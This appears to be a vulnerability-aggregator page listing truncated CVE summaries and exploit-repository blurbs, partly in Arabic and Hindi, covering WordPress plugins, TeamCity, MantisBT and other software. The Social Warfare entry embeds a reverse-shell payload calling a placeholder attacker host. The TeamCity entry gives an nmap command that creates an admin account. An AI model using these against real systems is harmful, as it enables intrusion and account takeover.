CVE-2025-14440

CVE-2025-14440 JAY Login & Register -id...

CVE-2026-104119

The Simple Shopping Cart WordPress plugin before 5.2.6 does not escape some of its settings field values before outputting them on an admin settings page, allowing high-privilege users such as administrators to perform Stored Cross-Site Scripting attacks, which is notably impactful on multisite...

CVE-2026-104119 Simple Shopping Cart < 5.2.6 - Admin+ Stored XSS via PayPal API Credentials

The Simple Shopping Cart WordPress plugin before 5.2.6 does not escape some of its settings field values before outputting them on an admin settings page, allowing high-privilege users such as administrators to perform Stored Cross-Site Scripting attacks, which is notably impactful on multisite...

EUVD-2026-92073

The Simple Shopping Cart WordPress plugin before 5.2.6 does not escape some of its settings field values before outputting them on an admin settings page, allowing high-privilege users such as administrators to perform Stored Cross-Site Scripting attacks, which is notably impactful on multisite...

CVE-2026-104119 Simple Shopping Cart < 5.2.6 - Admin+ Stored XSS via PayPal API Credentials

The Simple Shopping Cart WordPress plugin before 5.2.6 does not escape some of its settings field values before outputting them on an admin settings page, allowing high-privilege users such as administrators to perform Stored Cross-Site Scripting attacks, which is notably impactful on multisite...

WordPress Simple Shopping Cart plugin < 5.2.6 - Admin+ Stored XSS vulnerability

Admin+ Stored XSS vulnerability discovered by Krugov Artyom in WordPress Plugin Simple Shopping Cart versions 5.2.6...

CVE-2020-5148

CVE-2020-5148 المصادقة القسرية في وكيل SonicWall UTM SSO يحدد وكيل SonicWall SSO المستخدم خلف عنوان IP معين عن طريق فحص محطة العمل تلك باستخدام NetAPI الافتراضي أو WMI. وهو لا يتحقق من محطة العمل قبل بدء مصادقة NTLM، ويواصل الاستعلام عن العنوان نفسه طوال عمر الجلسة. نظرًا لأن خدمة وكيل SSO تتطلب...

CVE-2025-0316-Exploit

CVE-2025-0316-Exploit CVE-2025-0316 حزمة استغلال 🚨 استغلال تجاوز المصادقة لإضافة ووردبريس WP Directorybox Manager 🔥 سكربت استغلال آلي لـ CVE-2025-0316 — تجاوز المصادقة عبر إجراء AJAX ضعيف. ⚠️ إشعار قانوني هذه الأداة مخصصة حصريًا لـ: البحث محاكاة الفريق الأحمر تقييم أمني مصرّح به استخدام هذه الأداة...

CVE-2023-29983

عنوان الثغرة: تخزين النص البرمجي عبر المواقع Google Dork: التاريخ: 27.04.2023 مؤلف الثغرة: Lucas Noki 0xPrototype الصفحة الرئيسية للبائع: https://github.com/vogtmh رابط البرنامج: https://github.com/vogtmh/cmaps الإصدار: 8.0 تم الاختبار على: Mac, Windows, Linux CVE : CVE-2023-29983 الوصف: الثغرة...

CVE-2024-31835

CVE-2024-31835 फ्लैटप्रेस CMS Flatpress v1.3 में क्रॉस साइट स्क्रिप्टिंग भेद्यता एक दूरस्थ हमलावर को फ़ाइल नाम पैरामीटर में क्राफ्टेड पेलोड के माध्यम से मनमाना कोड निष्पादित करने की अनुमति देती है। प्रभावित घटक: FlatPress CMS एडमिन पैनल फ़ाइल अपलोड फ़ील्ड निश्चित संस्करण: Flatpress v1.3 - FlatPre...

CVE-2026-8181-PoC

🚨 CVE-2026-8181 | Burst Statistics प्रमाणीकरण बाइपास -brightgreen.svg?style=for-the-badge !CAUTION महत्वपूर्ण चेतावनी: यह भेद्यता एक अप्रमाणित दूरस्थ हमलावर को लक्ष्य WordPress साइट पर केवल एक कस्टम HTTP हेडर इंजेक्ट करके प्रमाणीकरण बाइपास करने और पूर्ण प्रशासक विशेषाधिकार प्राप्त करने की अनुमति...

CVE-2024-27198-POC

CVE-2024-27198 – JetBrains TeamCity: PoC لتجاوز المصادقة وتنفيذ الأوامر عن بُعد RCE المؤلف: EynaExp النطاق: بحث / تحقق دفاعي / اختبار مصرح به فقط نظرة عامة يحتوي هذا المستودع على ماسح جماعي لإثبات المفهوم PoC يستهدف حالات JetBrains TeamCity المتأثرة بـ CVE-2024-27198 ، وهي ثغرة تجاوز مصادقة قد تؤ...

cve-2026-23550-poc

CVE-2026-23550 PoC أداة اختبار Bash صغيرة لثغرة CVE-2026-23550. ترسل طلبًا إلى نقطة نهاية تسجيل الدخول الخاصة بالموصل المعياري modular connector المتأثر في ووردبريس، وتتحقق مما إذا كان قد تم إصدار ملف تعريف ارتباط wordpressloggedin، وتحاول تأكيد الوصول إلى لوحة التحكم الإدارية. تحذير: استخدم هذه...

Vehicle-Service-Management-System-Multiple-Privilege-Escalation-Leads-to-CRUD-Operations

CVE-2021-46075 عنوان الاستغلال: نظام إدارة خدمة المركبات - 'تصعيد امتيازات متعدد' يؤدي إلى عمليات CRUD مؤلف الاستغلال: SANU P.L CVE: CVE-2021-46075 CVSS: 7.2 عالي المراجع: https://www.plsanu.com/vehicle-service-management-system-multiple-privilege-escalation-leads-to-crud-operations...

CVE-2019-9978-Social-Warfare-WordPress-Plugin-RCE

CVE-2019-9978 - تنفيذ الأكواد عن بُعد RCE في إضافة Social Warfare لـ WordPress يحتوي هذا المستودع على استغلال Python عملي لـ CVE-2019-9978، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد في إضافة Social Warfare لـ WordPress الإصدار system"bash -c \"bash -i & /dev/tcp/ATTACKERIP/LISTENPORT 0&1\""' wi...

cve-2021-21735-zte-zxhn-h168n-admin-compromise

CVE-2021-21735: ZTE ZXHN H168N تسريب معلومات يؤدي إلى اختراق كامل لصلاحيات المسؤول دراسة حالة تقنية وتقرير جاهز لـ GitHub Pages حول CVE-2021-21735 في ZTE ZXHN H168N V3.5. يركّز هذا المستودع على ثغرة توجيه البرنامج الثابت firmware التي تقف خلف نقاط نهاية المعالج المكشوفة، والجدول الزمني للإفصاح،...

CVE-2023-42793

उपयोग: इसे teamcity-admin-creation.nse के रूप में सहेजें और चलाएँ: nmap -p 8111 --script teamcity-admin-creation --script-args url=https://target-url...

MantisBT <=2.30 - Arbitrary Password Reset/Admin Access

MantisBT through 2.3.0 allows arbitrary password reset and unauthenticated admin access via an empty confirmhash value to verify.php. id: CVE-2017-7615 THIS TEMPLATE IS ONLY FOR DETECTING To carry out further attacks, please see reference2 below. This template works by guessing user ID. MantisBT...

Palo Alto Expedition - Admin Account Takeover

Missing authentication for a critical function in Palo Alto Networks Expedition can lead to an Expedition admin account takeover for attackers with network access to Expedition. id: CVE-2024-5910 info: name: Palo Alto Expedition - Admin Account Takeover author: johnk3r severity: critical...

CVE-2024-10924

استغلال CVE-2024-10924 - تجاوز المصادقة الثنائية 2FA في إضافة Really Simple SSL لووردبريس نظرة عامة يحتوي هذا المستودع على استغلال لثغرة CVE-2024-10924 ، وهي ثغرة في إضافة Really Simple SSL لووردبريس. تتيح للمهاجم تجاوز عملية إعداد المصادقة الثنائية 2FA والحصول على وصول إداري غير مصرح به إلى موقع...